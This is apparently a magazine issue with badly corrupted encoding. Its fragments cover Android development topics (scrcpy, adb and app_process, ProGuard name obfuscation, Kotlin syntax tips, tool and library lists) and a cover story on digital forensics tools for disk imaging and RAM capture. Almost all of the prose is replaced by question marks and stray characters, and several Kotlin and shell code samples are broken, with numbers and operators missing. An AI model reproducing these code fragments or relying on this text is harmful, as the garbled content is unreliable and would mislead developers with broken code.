??� ????� ????� ????,� ???�???�???� ????????� ???�??????� ????�?� signature
????�??�???�???,�?�??�????�??�??�??�??�??�?.�???��??,�??�???�
???????爏ignature�?????�?�????�??�???,�??????�??��??????�????�?
adb爏hell.� ??????�??� ???�????�???� ????�???�?� ????� ???�??� ?� ?????�????
?� ????� ???�???�??� ???�????�??� ????�?,� ???????� ?????� ???�??� ?????�???
????�?????�?��??????燗DB�??�????�?.�???�?�?????�?�????�?�?�???�
????�??��????�???�??�???�???�??�??�??�????.
??�??�???�???� ???�??�???�???�?� ???� ?� ??????�??� ???�???�??� ???�????�
???,�?????�?????�???�????,��???�???,�??�??�????�???�???�???�????�
?????�???�????�??�?�???�?????�??.�??�????�?�?�??�???�???�??�???�
????�??� ??????�???� ??????� ???� ???�??�????� ?� ????�?,� ????�?� ????� ??????
????�????��???�??�???�??,�???�?????�???�?�?????�??�?,�?�??�????�
????��??�?????�??�??�??�???.
?�?????�??�???�?????�????�??�???�??�?,�??????�????�??�??�???�
??????�??�??�??????,�??�??�???�?��???�?���??�??????�?????�????�
??� ????�?� ???� ??????�???� ?????�????.� ?� ???� ???� ???� ??????�??� ??????????
????��??�???.
???�???�???�??�??�???�??��???�?��??�???�??燜REE爏creen
recorder燦O燫OOT
????????????
??�???燡ava-????��??�???�????爏hell
Introducing� scrcpy� ?� ??????� ??� ???�???� scrcpy,� ???�???�???� ?� ????� ?????�?
????????�?�???�?�?�??�????��???�?�?????�?,��??�????????�???????�
???��??????�???��??�????�?.�???�?�???�??�?�?????�?�???,��??,
???�??�??�???�?,�??�??�??�???�?????�?.
???�?� ????????� ???�????� ?� ????�?,� scrcpy� ???�??� ???�?????� ??� ????�???
?�????�???��??�???燼db爏hell�??,�??????�????�??�??�???�????�??????�
??� ????�?� ?� ??????�?� ????�??�???� ??� ????.� ?� ???�???� ????�?� ???� ????�?
????�??�??� ????�??.� ???,� ?????�?????� ??� ????�??�?,� ???????� ??� Java,
??�??�?�??�???�??�??燗ndroid,��???�?�?????�??�??�爅ar�???燚EX.
???�????�??爏crcpy�??�???�?,�??�??�???�????牜???�?????�??�.
1.�?�??�??�???�??�?燡ava�(???�??�???�??�??):
import燼ndroid.os.SystemClock;
public燾lass燞elloWorld爗
牋牋public爏tatic爒oid爉ain(String...燼rgs)爗
牋牋牋牋System.out.print("Hello,");
牋牋牋牋SystemClock.sleep(1000);
牋牋牋牋System.out.println("爓orld!");
牋牋}
}
2.�?�???�?�??�???�??:
$爅avac�source�7�target�7燶
牋牋?cp�"$ANDROID_HOME"/platforms/android?27/android.jar
牋牋HelloWorld.java
3.�?�???�???�??�燚EX:
$�"$ANDROID_HOME"/build?tools/27.0.2/dx燶
牋牋??dex�?output燾lasses.dex燞elloWorld.class
4.�?�???�???�?�爅ar:
$爅ar燾vf爃ello.jar燾lasses.dex
5.�?�???�???�?�?????�???��????�???:
$燼db爌ush爃ello.jar�/data/local/tmp/
$燼db爏hell燙LASSPATH=/data/local/tmp/hello.jar燼pp_process�/�
HelloWorld
??�??,� ??� ??????�?� ???�???�??,� ???????� ???� ????�??????�?� ????�??�?????
?� ???????� ???�?� ???�?� shell,� ??� ????� ?????� ?????�???� ???�??� ???�???�????�
???�??�??�????,�????�?????�???�??�??�???�???�(signature爈evel爌ermis?
sion):� ?????,� ?????�??????,� ???�??� ?????�????,� ????�??�?� ?� ???�????� ????�
????�??.
??�??�??�??�??????�??
Improving� ProGuard� Name� Obfuscation� ?� ??????� ?� ???,� ???� ???�???� ????????�
???��??????燩roGuard�????�??????�??.�??�???燩roGuard�??�??��???�
?????� Android� Studio� ?� ????�???�???� ?????� ???�???� ????�???�??� Java??????�
???.� ???� ???�???� ????�???�?????� ???,� ?� ???�?� ???�???�?� ???�?� ????�??,
???????� ?� ???????�??,� ?????� ???????�???� ????� ????�?.� ?????�??
????????� ???�?� ????�???� ???????�??,� ???�?� ?????� ????�????� ????� ???� ????�
?????�?�????�???�??�??�?????�??.
??�???�????燩roGuard�???�??�???�???�???�?,�?????��???,�??????�
???� ??????�???� ????�??:� ???�??� ????�??�???�???�?� ?� a,� ???�??� ?� b,� ?????�
????� ????�??� ?� ?� aa� ?� ???� ?????.� ????�???� ??????� ???�???� ?� ???,� ???� ??
?????� ????�??�????� ?????�???� ???�??�?� ?????�???�?� ?� ???�?� ????� ????�?
????� ???,� ?� ??� ???�?� ???�??� ???�??� ????�??� ????� ?� ???�??� ???�??� ???�????�
???:�??�??,�??�??�??�?,�????�????�?.
???� ????�???� ???�?� ????????,� ??????�??� ???�??� ???�???.� ?� ???????�?
????�????�?�??�???,�????�????� ???�????�??�??�?????�??????�燱in?
dows� ???�?� ???�??,� ???� ???�??� ????????� ???�????�?� ???????�??�?� ???�?
?燱indows,�?�?�???�??�?�?�?????�?.�??�????�??�??�??�???��??�??
?????�??�??�??�???�??,�??�?�??�???�??????�?????�???�??�???�???�
???�??�?????��???????�????�???.
???�???�???� ?????� ???�???� ?� ???????� ???�?????� ???�???�??� ?� ???�?
proguard?rules.pro�???�?�??�???:
?obfuscationdictionary爉ethod?dictionary.txt
?packageobfuscationdictionary爌ackage?dictionary.txt
?classobfuscationdictionary燾lass?dictionary.txt
???�?�????�??????�???�?????�?????�??�?????�????:
?repackageclasses�'o'
???� ???????�??� ???� ????�?� ?� ?????� o,� ???� ?� ??????� ???�??� ???� ????�??
????????�????�???.
Inline-???�???燢otlin
Demystifying爐he爄nline爇eyword��?????,�??�????�??�??�???�?�??�?爄nline,
???????� ???�??�???�?� ???�?????�?,� ???� ????�?� ??????� ???�???� ??� ???�??
?????�????�?�???��?�??�?,�??�??�???�??�????.
Inline????�???� ?????�???� ?� Kotlin� ??� ???�???� ????�??�????� ???�???
?????�????� ?????.� ???�??� ???,� ???�?� ??????�???� ???�???,� ???????� ????�
????�?� ???�??� ?� ?????�??� ????�??�?,� ???�????�??� ??????� ???�????�?� ????�
??????�??�??�??�??�??�??�??�????�???�??�???.��??�??�??�??�?????
?� ???�?� ?????�??� ???�????,� ???�????�???� Koltin� ???�???�?� ???????:� ????
???�????� ???�???� ?� ???�????� ???�??� inline,� ??� ???�??????� �??�?????粻 ???
???�???��?�??�??��??�?????�???�??�??.
???�???� ????�??:� ????� ????� ???� ???�??�??� ???� ??????�?� ???�???,� ????�
????�???� ???�??� ?� ?????�??� ????�??�?,� ???�?� ???�???� ??� inline????�??�?.
???�?�????�?�??�?????�???:
? Kotlin� 1.1� ???�???�?� ???�?????� ???�????� ???�?� inline� ???�?� ?� ?????,
?�??????�?????�???�?�??�???��??�????
? ???�????� ???�?� return,� ???�?????� ??� ???�??,� ???????�??� inline????�???,
?????� ???�??�???� ??� ??� ???�??� ???� inline????�???,� ?� ??� ???�???,� ????�
??????爄nline????�????
? ???�?�??�???�?�??�?爄nline,�??�?�????�??�?爊oinline�燾rossinline.�???�
???�??�?�?????�?????��???�????�?????�?�??�??�????,�??�?爄nline?
???�???� ???�???�?� ???�???�?� ?????.� ???�??� ???�????�?� ?� ???�??,� ???�?
???�??�??�??�???�????�???��??�??�??�??�??�??????�??.�??�??:
inline爁un爀xampleFun(crossinline燽ody:�()�>燯nit)爗
牋燫unnable爗
牋牋牋燽ody()
牋爙.run()
}
15�??�??�??�??,�???�??????�?????燗ndroid-???�????�???
15燗ndroid燗pp燚evelopment燭ools燫equired爁or燛very燗ndroid燗pp燚eveloper�
??????�?�??�??�??�??,�??????�??�????�?�?????�??�????�???:
? FlowUp��??????�??�???�?????�??�?�??�???�??:燜PS,�?????�??????
??????,�??�??�???��??�?????
? Stetho� ?� ???�??�???� ???????� ??� ???�????�????� Facebook,� ???�???�?
?????�?????� ?????�??� ???�??�??� View,� ????� ???�??� SQLite� ?� ???????
???�????�????燙hrome燿eveloper爐ools?
? LeakCanary��??�????�?,�???�?????�?�???�??�??????
? JRebel��??�???�???�????�???�?�??�???�???
? Android燗sset燬tudio��????�??�??�??�??�??�?????�??�??�??��??�??
?????�??�??�???�???
? DryRun� ?� ???�??�???� ???� ???�??�?� ????�??�????� ?� Android????�?????�
????�(???�???�?�????�????�??�????�???�??�????��??�???�????????�
?????)?
? Vysor� ?� Chrome????�??� ???� ???�??�??�????� ??� ????�??�??� (???????
????�??????��???�?��??�???�?�???????�?�???)?
? B4A��??�?�??�??�????�?�??�???�??�?燘ASIC?
? Genymotion� ?� Android????�????� ?� ???�??� ?????�??� ???� ???�????�???
???�????
? Sourcetree��??�????�??�??�??燝it?
? Takt��??????��???�??�???�??�???�??燜PS?
? Codota��??�??燗ndroid燬tudio�??�???�?�?燬tack燨ver?ow,燝itHub�燝ist?
? AIDE��??�?�??�????�?�??�??�???�??�??燗ndroid?
? Android燬tudio.
??�??�??�??�?????�??�??�??????燗ndroid燬tudio
Android燬tudio燦avigation燬hortcuts��???�??�????�?��????�???�??�??????�
????�??�?????�??.
? Ctrl�+燬hift�+燗�(Command�+燬hift�+燗)��??�???�????�??�????�(???�???�
???�???,�????�??燝enerate爏igned燗PK...)?
? Ctrl�+燦�(Command�+燨)��????�???�???
? Ctrl�+燬hift�+燦�(Shift�+燙ommand�+燨)��????�??�???
? Shift�??�???��????�??�?�??????�????�?�????
? Ctrl�+燗lt�+燣eft�(Command�+燵)��??�??��??�???�??�??�?�????
? Ctlr�+燗lt�+燫ight�(Command�+燷)��??�??��??�?????�??�??
? Ctrl�+燛�(Command�+燛)��??�?????�????�??�??�??
? Ctrl�+燬hift�+燛nter�(Command�+燬hift�+燛nter)��???�????�????.
??????????? ??????
?
? �?????�?????
HEADER
ANDROID
???????????�?????????,�?????????
??????�?????????營OS��????????
???????�?燢OTLIN
31�???�燢otlin
Summary爋f�#31DaysOfKotlin.�???�???�??�????�??�???�???????�??燝oogle,
???�????�??�??�????�?�??�???�??�??燗ndroid�(@AndroidDev),�??�??????
?????�??,�?�????�????�??�????�?��??�????�?�?�??�?燢otlin.�???�???�
???�(Marc燝arcia)�??�??�?�??�???�?��????�?????.�??�???�??�?????�?
????�??,�?�????�??�????�?.
1.�?�??????�????�(????爊ull,�?...):
val爊ame:燬tring�爌erson.name�:�"unknown"
2.�???�????�??�???:
val爐ext��"$language爃as�${language.length}燾haracters"
3.�??�???�???�??�???�??:
val�(red,爂reen,燽lue)�燾olor
val�(x,爕)�爌oint
4.�??�????爓hen:
return爓hen�(cargo)爗
牋牋null,�>�"empty"
牋牋1�>�"tiny"
牋牋2..10�>�"small"
牋牋is營nt�>�"big爄nty"
牋牋else�>�"$cargo"
}
5.�???爁or:
for(i爄n�.100)爗�/*�...�*/爙
for(i爄n�0燿ownTo�爗�/*�...�*/爙
for(i爄n�ntil燼rray.size爏tep�爗�/*�...�*/爙
for((index,爀lement)爄n燼rray.withIndex())爗�/*�...�*/爙
for((key,爒alue)爄n爉ap)爗�/*�...�*/爙
6.�???�???��???:
class燯ser爗
牋牋val爄d:燬tring��""�//�???????????�???
牋牋var爊ame:燬tring��""�//�?????????�???
牋牋var爏urname:燬tring��""�//�?????????�???��????????�
????????
牋牋牋牋get()�爏urname.toUpperCase()
牋牋var爀mail:燬tring��""�//�?????????�???��????????�???????
牋牋牋牋set(value)爗
牋牋牋牋牋牋if(isEmailValid())爁ield�爒alue
牋牋牋牋}
}
7.�???�?� ???�??� (Kotlin� ????�???�??�?� ?????�???� ?� ???� ??????� equals(),
toString()�燾opy()):
data燾lass燯ser(val爊ame:燬tring,爒al爀mail:燬tring�/*�...�*/�)
8.�?�???�???�?�??????�?:
val爄sVisible�爐rue
private爒al爄sHidden�爐rue
internal爒al燼lmostVisible�爐rue
9.�?�????�?�?�???�????:
class燘ulletPointSpan(
牋牋private爒al燽ulletRadius:燜loat�燚EFAULT_BULLET_RADIUS,
牋牋private爒al爂apWith:營nt�燚EFAULT_GAP_WIDTH,
牋牋private爒al燾olor:營nt�燙olor.BLACK
)爗�/*�...�*/爙
val燽ulletPointSpan�燘ulletPointSpan()
val燽ulletPointSpan2�燘ulletPointSpan(resources.getDimension(R.
dimen.radius))
val燽ulletPointSpan3�燘ulletPointSpan(color�燙olor.RED)
10.�??�???�??�??�???�?�(??�???�??�????�??爀num):
sealed燾lass燦etworkResult
data燾lass燬uccess(val爎esult:燬tring):燦etworkResult()
data燾lass燜ailure(val爀rror:燛rror):燦etworkResult()
viewModel.data.observe(this,�
牋牋Observe<NetworkResult>爗燿ata�>
牋牋牋牋data�:爎eturn@Observer
牋牋牋牋when�(data)爗
牋牋牋牋牋牋is燬uccess�>爏howResult(data.result)
牋牋牋牋牋牋is燜ailure�>爏howError(data.error)
牋牋牋牋}
})
11.�?�????� ???�????�????� (???????�??� ???�????�???�???� ?� ??????� ????�
????�??�???):
val爌references:燬tring燽y爈azy爗爏haredPreferences.getString(
PREFERENCE_KEY)爙
12.�??�????�???�???�??�?�?爊ull????????�??:
lateinit爒ar爎ecyclerView:燫ecyclerView
...
recyclerView�爁indViewById(R.id.recycler_view)
13.�??�??�?�???�??�??�(???�?????�?營llegalArgumentException,�???�???�??
??�??�?????):
require(name.isNotEmpty())爗�"Invalid爊ame"爙
14.�?�???????�???�(??�???�????�????�??��??�???�?�?????):
inline爁un爋nlyIf(check:燘oolean,爋perator:�()�>燯nit)爗
牋牋if�(check)爗爋peration()爙
}
15.�?�??�??�???,�??�???????�?�???�?��??????燡ava:
@file:JvmName("ShapeGenerator")
package燾om.shapes
fun爂enerateSquare()�燬quare()
fun爂enerateTriangle()�燭riangle()
//�????�?燡ava
ShapesGenerator.generateSquare()
16.�?�????�?�????�???�???�???:
//�?????�?�?????�??
val燼larmManager�燾ontext.getSystemService(AlarmManager::class.
java)
//�?�????�????????�???�??�?�?????
val燼larmManager:燗larmManager�燾ontext.systemService()
//�??�????�?????????�????�??????
inline爁un�refied燭>燙ontext.systemService()�爂etSystemService(T
::class.java)
17.�?�???�???�??� (??????�?� ??????�???�????� ??� ???�????� ???�?????
???????�??�??�???�???):
class燤yAnimationView�燰iew(�/*�...�*/�)爗
牋var爁oregroundX燽y營nvalidateDelegate(0f)
}
class營nvalidateDelegate<T�燗ny>(var爒alue:燭)爗
牋operator爁un爂etValue(thisRef:燰iew,爌roperty:燢Property<*>)��
value
牋operator爁un爏etValue(thisRef:燰iew,爌roperty:燢Property<*>,�
value:燭)爗
牋牋this.value�爒alue
牋牋thisRef.postInvalidateOnAnimation()
牋}
}
18.�??�???�??�??????�(???�???�?�???????�???�????��????�????):
inline爁un燬tring.toUri():燯ri�燯ri.parse(this)
val爉yUri��"www.developer.android.com".toUri()
19.�??�????�???�??燚rawable�燘itmap�(?�??????�??�????�?燗ndroid燢TX):
val爉yDrawable�燙ontextCompat.getDrawable(context,燫.drawable.
icon)
val燽itmap�爉yDrawable.toBitmap()
20.�??�?????�???�??�?:
val爏equence�燣ist(50=爗爄t�*�.asSequence()
sequence.map牋牋{爄t�*�
牋牋牋牋.filter爗爄t�%�=�
牋牋牋牋.map牋牋{爄t�+�
.toList()�
21.�?�??�????�??�???�??:
inline爋perator爁un燬pannable.plusAssign(span:燗ny)�
牋牋牋牋setSpan(span,�爈ength,燬PAN_INCLUSIVE_EXCLUSIVE)
val爏pannable��"Eureka!!!!".toSpannable()
spannable�+=燬tyleSpan(BOLD)
spannable�+=燯nderlineSpan()
22.�??�???�??�???�??:
@BindingAdapter("userItems")
fun爑serItems(recyclerView:燫ecycleView,爈ist:燣ist<User>?)爗
牋牋...
}
23.�??�???�?� ???�????�?� Android� KTX� (???�???�?� ???�?????� ?� ???�?,� ????�
?????,�?燰iewGroup�燬parseArray):
for�(view爄n燰iewGroup)爗爙
for�(key爄n燬parseArray.keyIterator())爗爙
24.�?�????�??�?????�燙ontent燰alues��??????燗ndroid燢TX:
val燾ontentValues�燾ontentValuesOf(
牋牋"KEY_INT"爐o�
牋牋"KEY_LONG"爐o�,
牋牋"KEY_BOOLEAN"爐o爐rue,
牋牋"KEY_NULL"爐o爊ull
)
25.燚SL�(Kotlin�??�???�?�??�?????牜???�?��??�?粻???�??�????�??�???):
frameLayout爗
牋牋button("Light燼爁ire")爗
牋牋牋牋onClick爗
牋牋牋牋牋牋lightAFire()
牋牋牋牋}
牋牋}
}
26.�?�????�??�?????��??�??�?��??????燗ndroid燢TX:
val燽undle�燽undleOf(
牋牋"KEY_INT"爐o�
牋牋"KEY_LONG"爐o�,
牋牋"KEY_BOOLEAN"爐o爐rue,
牋牋"KEY_NULL"爐o爊ull,
牋牋"KEY_ARRAY"爐o燼rrayOf(1,�
}
27.�??�??:
fun燞andler.postDelay(delay:營nt�/*�...�*/,燼ction:�()�>燯nit)
handler.postDelay(50)爗
牋牋...
}
28.�?�??????�?????�?燬pannable��??????燗ndroid燢TX:
val爏tring�燽uildSpannableString爗
牋牋append("no爏tyling爐ext")
牋牋bold爗
牋牋牋牋append("bold")
牋牋牋牋italic爗燼ppend("bold燼nd爄talic")爙
牋牋}
牋牋inSpans(RelativeSizeSpan(2f),燪uoteSpan())爗
牋牋牋牋append("double爏ized爍uote爐ext")
牋牋}
}
29.�??�????�?燩arcelize:
@Parcelable
data燾lass燯ser(val爊ame:燬tring,爒al爋ccupation:燱ork):燩arcel
able
30.�??�????�??燗ndroid燗PI��??????燗ndroid燢TX:
view.updatePadding(left�爊ewPadding)
view.updatePadding(top�爊ewPadding)
view.updatePadding(right�爊ewPadding)
view.updatePadding(bottom�爊ewPadding)
31.�??�???爈et,燼pply,爓ith,燼lso�爎un:
val爏tring��"a"
val爎esult�爏tring.apply爗
牋牋//�???�??�????�???????��????????�??????爏tring�
}
???�??�??�?
? Scrcpy� ?� ?????� ????�??� ?� ??????�??????� ???�???� ???� ??????� ???�????
?� ??????�?� ??� ????� ?� ???�??�??�????� ?� ??????�???� ???�???� ????�?� ADB
?�?�??�???爎oot?
? Hyperion?Android��??�??�???�??????��??�????�???????�?�??�????�
???,� ??� ???�?� ????� ??????�?????� Developer� console� ?� ???�??�???� ????�
????�?�???�????�???��???�???�???�???,�??�???�???�?????�??�???�
???� ????????�?,� ??????�???� ???� ???� ???????� ???�???�??,� ???�???�???
???�???�???�??�??�??�??�???�??,��??�??�?�???�???�???��????
???�???�???
? Pro?lo��??�????�?�??�??�?�??�??��??�???�?????�??�?�??�???�??
??燜acebook?
? ???�?????�????�??� ??????�???� ?� ???�??� ???�?????�????�??� Google
??????�??,�??�????�??�燝oogle燩lay.
??????????
? PhotoEditor��??????��?????�??????燰iew��????�???�?�??�????�???
?????�???��??�?燩aint?
? Lynket��????�??�??�???�?�???燙hrome�??�??,�??�????�????�???�?,
???�??�???�??�???
? Json2Kotlin��??�????�?�??�??�????�??燡SON�燿ata?????�?燢otlin?
? Kyrie� ?� ???�????�??� ????�?� VectorDrawable� ?� AnimatedVectorDrawable
?�????�?????�???�??�??�???
? GlideToVectorYou� ?� ????�??�??� ??� Glide� ???�????�?� ???� ???�??�??� ????�
?????��?????燬VG?????�???????
? BottomNavigationViewEx� ?� ???�????�??� ???�??� ???�????�???� ???�??�?
BottomNavigationView�(????��???�???�??�?�???�?)?
? Spark� ?� ???�????�?� ???� ???�????� ???�???�???� ???�????� ?� ???�?� Insta?
gram�燬potify?
? ShapeOfView��??�???�?�?????�?????燰iew�???�????�??�??�??
? ModalBottomSheetDialogFragment� ?� ????� ???�?� ????�?� ?� ???�?� Material
Design?
? Kotlin� Please� Animate� ?� ????�??� ?� ??????�??????� ?� ???�??� ???�????�?
???�??�????�??�??�??�???????�??
? ElevationImageView��???�??營mageView?
? Floating� Action� Button� Speed� Dial� ?� ????� ???�??�?� ???�???� ??� ???????
FloatingActionButton�(????�??�???�?�??�?�???�?)?
? android?inline?youtube?view��??�???�?�????�??燳ouTube��??�???�???
? convalida��??�????�?�?????�??�????�??�??
? LocaleText��??�???�?�?????�?????�??�???�??�??�?????�??�?.
COVERSTORY
?????????
?????????
????�???????
??????,�????,�????,
????????�????????
??�?� ??� ???�????????� ?????�?� ??� ?????� ?????�???,� ???�???�
???� �???????�?,� ??� ???� ??� ???� ???�?????????!粻 ?� ?????�?
?????�???�?�(?�?�????�?�??�?????�??�???),�?�??�????�
???:� ??� ???� ???????�?� ?????�????.� ????�?� ?� ???�?????�??
????� ?????� ???�???� ????:� ???� ???�??�???� ????�??�?,� ????�
????�???� ???�??,� ????� ???�????� ???�??� ?� ???�??� ???�?.
??????� ?????� ?????� ??� ?????� ???�???� ???�?� ?????� ????�
??????� ??� ????�?� ???�?� ???�???�??� ?� ???????� ???�?????
???�??� ?� ???�??� ??� ?????�?,� ???????� ???????� ???�?????
?????.
?????????�??�????��????????????
?????????????????
??�???,� �????�???粻 ?� ???� ????�?� ?� ??????�??�?� ???�?� forensics,� ???????,
?� ????� ???�???,� ????�???� ???�????�??� ???�??� ??� forensic� science,� �?????�
???� ?????�,� ??� ????� ?????� ??� ?????�???�??� ??????�???�??.� ?� ???�???
???� ???????� ????� ??????�?� ???�???�??�????,� ?� ???�?� �????�???粻 ????�
????????�?�????�???�??�?�?????.
??�??�???� ?� ???� ????� ???�??� ??� ?????� ???�??�?� ?????�???�??,� ???????
????�???�?� ?� ??????,� ????� ???�??�??� ????�???,� ???�????� ?????� ????????�
????� ???� ????�?� ???�????�????�??� ???????�??,� ???�??????� ???�??� ????�
???��???�????�??�???�???.�????�?????�???????�???�??�???��????
???�??�??�??�?�??�?????�?????:
? ??�???,�??�???�????�???�?�??�??
? ???�??�??�??�????�???�??
? ???�??�?????�??�???�??�(???�????)�??�??
? ???�???� ????�??�?� (?� ????�?,� ??� ???� ????�??�???� ?� ??� ???�??� ???�??,
?�??????�??�??�?�??�?�??�?)?
? ????�?????� ???�??�?????� ?????�??� ????,� ???�?� ??????� ??????� ??� ????�
????????.
??�???�?� ?� ????� ????� ?????�??�?� ????� ???�?????�??� ?????????�?� ????�
???????�?�??�?�???�??�?�?.��??�???,�??�????�??�???�??�??�???
???�????�???��??�??�???�??�???�??�?�????�??.
???�??�??�???�?�???�??�??�????�?�??,�??�??�?�???�????�????
??,� ?� ???�?????�??� ?????�?� ???????� ???�????�???�??�??� ??????�????
?� ????� ??� ???�???�??� ??????�??� ??� ?????�???.� ???�?� ?????�???� ???�?� ????
?�??�???�????�??�????,�??????�?????�?�??�?�?��?????�???,��???�
????,� ?????�????� ????�??.� ????� ???� ???�??�???�??� ?????�?????� ??????�
?????�??� ??� 100%� ????� ??????�???�??� ?????� ?????�???�?� ?� ?????�???�??
???�????�(ERP,燙RM,燘I,燘PM��??�????).
??� ?� ?????�?,� ??????�?� ??� ?????�???� ?� ???� ?????�???�??� ?????
�??????�??��.�???�??�?�??�?????�??�??�??�???�?�??�??�????�????�
???� ????�????�??,� ???�???� ??� ???�??� ??????�?????�???� ????�?????� ????�
????�???�??�???�???�????�??��???�?????�??�??�??.�??�????�?,�???
???�??�??�??�??�???�???�???�?��??�?�???�???�?�???�?,�??�????�?
?????�???�?,��??�??�??�?????�???�????�?�???�???.
??�???�??� ????� ?� ???�??�???�??� ???????�?????�??� ????,� ???� APT.� ??
????� ???�??�?� ?� ????�?� ???????� ???�??� ?� ??????�?????�?� ???�???�?????
???�????� ????,� ???�??�??�??,� ????�?????� ???�??� ?� ???????,� ????�??�???
??�??�????�?�????�?.�?�??�???,�???�?,��????�??�???�???�??�???�?
???�?????� ???�??,� ???� ???� ?� ???�????� ????� ???�??,� ?????�??� ??�???�?
??�???�?????��?????�??�??????�??��??.
???�?�?�???????,�??� ???�?�?�????�???�??�???�???�??�???�??�?��
CTF?� ?????�?� ???� ???�??� ????� ??� ???????� ???�??� ???�??�???�??� ??� ?????�
????.�???�???�??�?,�???�??�???�??�???� ???��??�??.��?????�??�??�?
??????�?????�??�?,�??�??��??�?燙TF,�?�??�???�??�???�???.
?????????????
??�??� ?????� ?????�?� ??????�?� ??� ?????� ???�??� ????.� ???�?� ????�?????�?
??????�??�???� ????� ?� ?????�???,� ?????� ???�????� ???�?� ????�?????�??
??????�???�???.
? Computer爁orensics���??�???�??�?�??,�??�??�???��???�??�????�
???�??� ????�?� ??� ??????�??� ??????:� ???�??� RAM,� HDD,� ????�??,� ????�
?????�?��??�????.
? Network爁orensics,�??�????�?�?�??�????,�??�?�???�????��??�???�
????�???� ?� ???????� ??????�?� ???�?� ?� ???�????,� ???�?� ?� ???�????
??????�?�??�???�??�???�????�????�???�??�??�????,�??� RAT,� reverse
shell,燽ackdoor????�???��???�????�??.
? Forensic� data� analysis� ???�?????� ???�???� ???�??,� ?????�??� ???�??
?� ?????�??� ???�?????�???�??�??,� ????????�?� ???�?� ???�?� ???� ???????�
?????�????�??�???�????.
? Mobile� device� forensics� ??????�???� ????,� ???� ????�???� ???�??�?????
?????�????�??�??�?燗ndroid�爄OS.
? Hardware爁orensic��?????�???�???�??�???�???�??????��??�?????�
???�?????�??�(???�???� ???,� ???�� ???�??,�??�???�?��?燩DF).�??�???�
?????�??� ?????�??� ???????�?� ?� ?????�??� ????�?.� ????� ???�??� ???�??
???�??�?�??�??�???�?�(???�????�???�???,�??�??�?�??燘IOS),�?????
???�???�??�??� ???�??�?????� ??????� ??????�???,� ?� ???�???� ?????�???
???�??� ??????� Wi?Fi????????�???� ???� ????�????�?� ??????�???� ????�???,
????�??�???�??�?�?�??�?????.
??????��??????�?????????
???���??�??��??�????�??�???,�???�??�???????�??�???��?????�???
????�??�??� ??????� ?� ???�????�??� ?� ??�???�??�??� ???�??.� ??????� ????�
?????�???�??�???��??�???�(???�???�???)�????�??�??�?�??�?�??�??�?
???�????�??�?????,�??????��??�??�?????�??�??�??�??�?,�??????�???�
????�??�??�??��%TEMP%��??�?????�????�???�?,�??�???�???�??�???�
?????� ???????�??�?,� ???�?????� ????� (???????� ????�???�??,� ?????� ???�???
?�??�??��????�???�?��??�????),�???????�??�??�??????�??��?????
???�??�??��????�??�??�?????�???.
??�???�??�??� ???�??,� ???� live????�??,� ??????�???� ?????�?� ??� ????�????
???�???,� ?????�?????� ?� ???�?????� ????�???� ???� ??????�??� ???�??� ???�???
???�???�???�?.��??�???,�??�???�????�?�??�???�???�??��??�?�????�
????�????� ???�?� ????�????�??� ???�????.� ?� ????� ????�??� ????�??�??� ????�
????�??�???�?�??�?�????�?,�???�????�??�???�???????�??�??��??,
???� ???� ???�???� ??????� ??� ?????�??�?� ???�??.� ????�???�???�?,� ?� ?????�??
???�????�???�???�??�??�?????�??�????�????�??�?????�????�???,�???
???�?????� ?� ????,� ??????�?????� ???�??,� ????�????� ???�?????� ???�????
???�???�?�?��??�?�???�??�?.
????�??�????� ???�??�?�(PDF)�?�?????�???�??�?,�??�????�?�??�????�
????� ?� ????�???�???� ???� ??????.� ?� ???� ????� ??�?????� ???�??????� ?
??�??????�??�???�??�???營nfoSec燫esources.
????????�??????????
???�??,�??�??�?�??�???��?????�?????�???,��??�??�???��??�?????
???????�??,� ???�?� ?????� ???�?� ????� ???�??�??�?????� ???�???�??
?�??????�?????�??�???�???�??�?.
??�??� ???�?????,� ?????� ???�??�??�?� ??� ????�????� ???�??� ????
?牜?????�??�?????�?粻??????�?.�??�??��?????�???�???��??�??�????�
??�??�?�??�??�???�??�?�????�?��?????�??�??�???�???.
WARNING
????�?� ????� ?� ???�?� ????�????,� ?????� ????�?
???�????��??�???�?�????�????.�??�??????�
???� ??????�??????� ???�????�??� ?� ???�??� ??????
????�???� ?????� ???�??�?� ?� ??????� ???????�??
???� ????�????� ???????�??� ???�??.� ??� ?????,
??� ?????�??� ??� ?????� ??????�???�????� ??� ?????
?????,� ???�????�??� ?????� ???�?????�???
??????�??????�?????�???�??�??�?????.
???�???�???�?�??�?,�??�???�??�?????�???�??�???
? FTK� Imager� ?� ???�????� ???�??�???� ???� ???�???�????� ??????�??� ???�??
?燱indows.
? dc3dd�(?�??�?燼dulau/dc?dd)��???�?????�??�??�???�??�???�??�????�
???�??�???燿d�燣inux.
? Guymager��??�????�???�??�??�??�???�??�??�??�????�??�??�????
??????�??�(??????�?�?燙++,�?�???燪t).
? Paragon�??� Acronis��??�??�?牜???��????粻???�???�????,�??�????,
????�????,�?????�????�????�??�??,�??�????,�?????�??�??�????.
??�????�?�???�??????�??�???�??�??�??
? Imagemounter��??�???�?燩ython,�??????�?????�?�?�????�???�???�?
?�?????�?�??�??�??�???????�???�?�??�??.
? Libewf� ?� ???�?� ?� ????�?� ?� ???� ???�????�?� ???� ????�??�?� ???�????� EWF
(Encase營mage�le燜ormat).
? Xmount� ?� ???�??�??� CLI????�??�?� ???� ???�????�???�??� ????�??� ???�??
?�???�??�??�??��??�?????�?�???�???��??????�??.
????�??�??��??�??
? DumpIt� ?� ???�???� ???� ???�????� ???�?� ???�????�??� ??????� ??????.
????�?��???�?.
? Encase� Forensic� Imager� ?� ???�????� ???� ???�????� ????� ??????�???�??
???�??.
? Encrypted燚isk燚etector��??�???�??�?�??�???�????�???�??,�?????�?
??????�????�????�??�???燭rueCrypt,燩GP�燘itlocker.
? Forensics� Acquisition� of� Websites� ?� ???�????�??� ???�???,� ????�????�???�
???�??�??�???�???????�??��??�???�??�?�??�??�???�??.
? Live� RAM� Capturer� ?� ???�??� ???�??�?� ???� ?????�????� ???�?� RAM,� ?� ???
???�?� ???�???�??,� ???????�??� ??�???�????�??� ???� ????�??�????�??
???�????.
? Magnet� RAM� Capture� ?� ???� ?� ????�??� ???�?,� ????�????�???� ???� ???�??
RAM� ????� ???�??� Windows� ?� ??� ???�??�?� XP� ??� Windows� 10� (????�??
?�?????燱indows燬erver).
WARNING
???�??� ????�???�??� ???�????� ???�??�??�?� ????�
?????� ????�?� ???�???� ???� ????�????�?� ????�
?????.�??�??�????�???�??�??�??��??�?????�
?????� ???????�??� ??????�????.� ?????� ??????
???�???�??,� ??????�??�?� ???????�????�????
???�???� ???� ???�???????� ???�??,� ???�?????�?
?????�???�???��????�???�????�??�??.
???�??�??�??
